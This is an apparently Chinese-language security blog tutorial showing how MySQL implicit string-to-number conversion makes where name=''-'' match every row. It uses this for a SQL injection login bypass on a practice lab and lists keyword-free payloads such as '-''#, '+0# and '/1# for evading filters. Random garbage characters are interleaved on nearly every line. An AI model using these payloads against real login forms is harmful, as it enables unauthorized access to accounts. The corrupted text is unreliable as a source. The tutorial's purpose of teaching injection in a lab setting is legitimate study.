我们先来看这样一个场景。) ]! R! h" M7 q; C/ l9 V) N2 s! Y
有以下表结构:
, c B6 ~$ @7 O- n& N
+ d P3 x. j9 k$ i, mmysql> desc admin;; M$ r: `& O" h& n" ^: P+ f
+----------+--------------+------+-----+---------+----------------+
5 Y8 o1 d! ^. f1 K8 I: v| Field | Type | Null | Key | Default | Extra |
* V- D6 X* g" s* U% B" t/ q+----------+--------------+------+-----+---------+----------------+
% X5 ^0 v5 ^, ?& z7 r$ z| id | mediumint(9) | NO | PRI | NULL | auto_increment |8 t8 v# l: \# ]1 T
| name | char(32) | NO | UNI | NULL | |2 ~8 v; ~0 s& I# [4 o Y" Y: ~
| password | char(32) | NO | UNI | NULL | |
* l" U+ p: _4 D% s) {+----------+--------------+------+-----+---------+----------------+
* y. p, T& x0 h0 e8 c; Q6 [; |( x4 @! i3 rows in set (0.00 sec). @2 R# v/ F6 N
执行select * from admin;,成功返回所有记录内容。; Q# @- j7 i( b+ z" j2 F
% ?$ O/ W2 V: W* |1 J1 X8 ^9 }6 @: ], \. {: _
+----+--------+----------------------------------+
3 c0 g# S6 u9 P5 e: e, J| id | name | password |
, S3 Y& I. f$ g* p+----+--------+----------------------------------+. S( g% F1 A! g
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
* F. v, o* l( }: l| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |# M; {& F) _) }( p4 y6 z2 C
| 4 | n00b | ff80e8508d39047460921792273533a4 |3 E$ M* E/ g. }: U
+----+--------+----------------------------------+. ?& ]7 `& I3 {9 F8 u$ n9 I
3 rows in set (0.00 sec)4 j! S) C) k9 s
执行select * from admin where name=”;,没有匹配到任何记录。 # e" M" z2 Z2 P7 k H9 n r
$ Q8 K9 H, ~2 s8 K8 E. |# ?) Wmysql> select * from admin where name = '';
& U. y3 D8 H. Z' ~6 Z# g$ e4 nEmpty set (0.00 sec)* |6 `- w* | b+ Y2 y) ?+ o7 e
那么我们来执行select * from admin where name = ”-”;- h4 M0 c: p" R5 ]' F% v/ O
4 k. \/ g+ C. t" U; Q0 B
; S6 w( n1 r1 o. }
+----+--------+----------------------------------+" g) E/ O& m/ m& v4 R0 ^+ |
| id | name | password |& i8 i9 E$ x! X+ U5 q& C5 S
+----+--------+----------------------------------+
- h, L1 c" \' F# i| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |& j" B$ S- l5 ^- }8 c4 ]/ ^( n2 S
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
0 ~ p5 V- h- H- I/ ?" \| 4 | n00b | ff80e8508d39047460921792273533a4 |
/ w- |: G" D9 x+----+--------+----------------------------------+% {6 d( f- l# S J+ d) c6 V
3 rows in set, 3 warnings (0.00 sec)5 r( F5 x3 e, S% o* C& h* k
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
' f) A: g/ p( U% `8 l2 Q7 w Q3 ]; P
mysql> show warnings;
2 i5 y% D9 }% ]' J$ Q2 Q9 y- X0 [1 Z+---------+------+------------------------------------------
. G6 E0 w& R; [" ]| Level | Code | Message
3 ~4 p; z2 Q: O: _( C; x) H+---------+------+------------------------------------------# \$ L7 X* e& s" X; T
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin) U6 z: z/ D% Z/ w( o$ T: m5 H
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s/ A2 L6 W& D+ I7 m( ]% D
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b1 O8 Q! S* ?. O5 \: A+ K( G8 i
+---------+------+------------------------------------------9 [/ i d8 ]3 S% e4 H
3 rows in set (0.00 sec)
1 h4 j7 Z" g, [8 F提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
+ f$ w/ P8 ~2 \6 [6 ]# Q" F' R+ j9 f( P4 E1 g6 ?8 u- | ?% t- h
mysql> select ''-'';
7 Y) f, m2 Q( J/ d ^. J+-------+9 [! P& e9 E G; P/ |- `
| ''-'' |
; }* D1 `3 U, Q; m6 a+-------+8 y7 N0 L/ }8 o( \
| 0 |. Z! E6 V/ K* N. `* ^( N; J
+-------+& d: f5 _1 C' H, Y, D
1 row in set (0.00 sec)" X1 M W/ }4 W- s m- c. @4 h3 V
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: - {7 X) T: M' u2 T) i! P
1 }, x7 `% P- ~( O1 o3 \mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
1 j* I7 H# j2 D% `+-----------------------------------------------------+, H, i9 }7 ~& B
| CAST((select name from admin limit 1,1) as DECIMAL) |0 ^4 T/ Y& T# B
+-----------------------------------------------------+* q D# V4 P0 p/ ^
| 0 |
& k: `: h" `6 q6 W6 l0 d4 a+-----------------------------------------------------+6 }7 D* p7 E; _: w5 b- O
1 row in set, 1 warning (0.00 sec)
3 j5 s" T' [4 z3 ]! U7 I9 x% T& \9 A因此where语句构成了相等的条件,where 0=”=”,记录被返回。
! i" \# S9 a8 l6 o/ G+ z/ S8 O: R9 ^9 q. w' M$ v
SQL注入场景: http://www.sqlzoo.net/hack/
7 @. d1 C8 _" e/ C6 ^+ ?* P2 P- L) c1 S% y f
4 H) `0 `% y7 ^+ k- L
4 O( J) g9 D: r. W
- G6 i. L0 O4 o8 L4 Q" C8 q如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
: D' q" Q0 C$ |7 G& @+ D8 n* o/ @& \$ o3 l- R, C6 E& c4 G
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 # Y: P4 G$ E* W. e! x; b8 h3 J
7 U! { s) T% J8 _# M0 l: {: W" i3 @- ~2 X: v, I" D
V! d( P# j% I4 x8 Y3 t
2 k, S B* |9 d$ t% F: s
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
" A3 T) Y7 t/ E8 K
1 K+ R7 t; _$ Z 4 V# R& O' B9 H4 ~9 K3 j
2 B [% s& F& R2 a9 D除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可+ G! r5 }( J% ]1 R, p
2 c6 X- k7 _1 ^; T/ j9 P3 U
$ r1 \* G" H% k
mysql> select ''/1;+ z" W$ y1 r, Z; R; V7 u4 x4 I
+------+
4 m) g& m+ t% l0 l9 t. U; f$ ~8 O$ \/ m| ''/1 |
; \* C# R) w+ |& G2 @: r& h, ?+------+: S4 V) r- D6 t U, ~7 _: v
| 0 |9 ]/ r6 `' @4 M' a4 n G; E
+------+
) z; p# H5 U; u- p$ f/ Y+ U1 row in set (0.00 sec)
0 ~! q( w$ Y+ [6 b5 A" W类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
0 m& U; `6 _# W/ G$ y& H5 B1 b2 y; o8 E' E: F
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。2 N1 x2 O' L( I3 C; W: ? a
|
|